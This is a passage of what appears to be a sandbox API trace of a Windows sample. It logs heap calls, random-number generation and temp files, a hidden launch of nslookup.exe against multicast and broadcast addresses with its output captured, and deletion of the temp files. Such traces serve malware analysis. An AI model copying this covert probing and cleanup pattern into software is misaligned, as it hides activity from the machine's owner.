(HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39e28 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39e28) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39e28 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.088] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.088] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.089] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.089] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0056.089] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0056.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c399f0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0056.089] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0056.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c399f0, cbMultiByte=11, lpWideCharStr=0x1d3ebf8, cchWideChar=11 | out: lpWideCharStr="224.0.0.252") returned 11 [0056.089] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0056.089] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0056.089] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0056.089] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0056.089] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0056.090] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0056.091] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0056.091] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0056.091] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0056.091] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0056.092] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.092] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0056.092] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="L", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\LCA58.tmp" (normalized: "c:\\windows\\temp\\lca58.tmp")) returned 0xca58 [0056.093] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0056.093] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c344f8 [0056.093] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\LCA58.tmp", lpszShortPath=0x1c344f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\LCA58.tmp") returned 0x19 [0056.093] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0056.093] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0056.093] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0056.093] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0056.093] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0056.094] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0056.094] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0056.094] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0056.094] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0056.095] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.095] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0056.095] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0056.095] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.095] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0056.095] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0056.096] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.096] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0056.096] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="qje", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\qjeCA59.tmp" (normalized: "c:\\windows\\temp\\qjeca59.tmp")) returned 0xca59 [0056.097] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0056.097] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c34900 [0056.097] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\qjeCA59.tmp", lpszShortPath=0x1c34900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\qjeCA59.tmp") returned 0x1b [0056.097] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0056.097] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0056.097] CreateFileW (lpFileName="C:\\Windows\\TEMP\\LCA58.tmp" (normalized: "c:\\windows\\temp\\lca58.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0056.097] CreateFileW (lpFileName="C:\\Windows\\TEMP\\qjeCA59.tmp" (normalized: "c:\\windows\\temp\\qjeca59.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0056.097] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x144, hStdError=0x13c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252", lpProcessInformation=0x18f9b8*(hProcess=0x140, hThread=0x138, dwProcessId=0xa7c, dwThreadId=0xa8c)) returned 1 [0056.101] NtClose (Handle=0x138) returned 0x0 [0056.101] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xea60) returned 0x0 [0058.096] NtClose (Handle=0x144) returned 0x0 [0058.097] NtClose (Handle=0x13c) returned 0x0 [0058.097] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0058.097] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\LCA58.tmp" (normalized: "c:\\windows\\temp\\lca58.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b6115f0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6b6115f0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6c91c5f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x2c)) returned 1 [0058.098] CreateFileW (lpFileName="C:\\Windows\\TEMP\\LCA58.tmp" (normalized: "c:\\windows\\temp\\lca58.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0058.098] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0058.098] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x2c [0058.098] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0058.098] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0058.098] ReadFile (in: hFile=0x13c, lpBuffer=0x1c399a8, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x1c399a8*, lpNumberOfBytesRead=0x18f974*=0x2c, lpOverlapped=0x0) returned 1 [0058.098] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0058.098] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0058.098] NtClose (Handle=0x13c) returned 0x0 [0058.098] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\LCA58.tmp" (normalized: "c:\\windows\\temp\\lca58.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b6115f0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6b6115f0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6c91c5f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x2c)) returned 1 [0058.098] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\LCA58.tmp", dwFileAttributes=0x80) returned 1 [0058.098] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\LCA58.tmp" (normalized: "c:\\windows\\temp\\lca58.tmp")) returned 1 [0058.099] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\qjeCA59.tmp" (normalized: "c:\\windows\\temp\\qjeca59.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b6115f0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6b6115f0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6c91c5f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x3b)) returned 1 [0058.099] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\qjeCA59.tmp", dwFileAttributes=0x80) returned 1 [0058.100] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\qjeCA59.tmp" (normalized: "c:\\windows\\temp\\qjeca59.tmp")) returned 1 [0058.100] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0058.100] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0058.101] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0058.101] NtClose (Handle=0x140) returned 0x0 [0058.101] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c34900) returned 1 [0058.101] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c344f8) returned 1 [0058.101] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0058.101] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0058.101] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0058.101] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0058.101] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d660 [0058.101] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0058.101] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d578 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d5a8 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a80 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d648 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d478 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a38 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39be8 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0058.102] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d578) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a80) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5a8) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d660) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3a8) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d398) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b10) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d388) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ac8) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d378) returned 1 [0058.102] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3d8) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c78) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3c8) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c30) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3b8) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ffc0) returned 1 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d660 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3b8 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c30 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3c8 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c78 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3d8 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d378 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ac8 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a38) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d478) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39be8) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d648) returned 1 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0058.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c39cc0, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0058.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c39cc0, cbMultiByte=15, lpWideCharStr=0x1d3eb70, cchWideChar=15 | out: lpWideCharStr="255.255.255.255") returned 15 [0058.103] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0058.103] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0058.104] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0058.104] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0058.104] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0058.104] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0058.104] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0058.104] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.105] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0058.105] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.105] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.105] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.105] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.106] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.106] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.106] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.107] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.107] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.107] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="Js", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\JsD236.tmp" (normalized: "c:\\windows\\temp\\jsd236.tmp")) returned 0xd236 [0058.108] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0058.108] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c344f8 [0058.108] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\JsD236.tmp", lpszShortPath=0x1c344f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\JsD236.tmp") returned 0x1a [0058.108] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0058.108] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0058.108] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0058.108] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0058.108] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0058.109] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0058.109] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.109] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0058.109] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.110] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.110] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.110] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.110] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.110] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.110] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.111] CryptGenRandom (in: hProv=0x255a28, 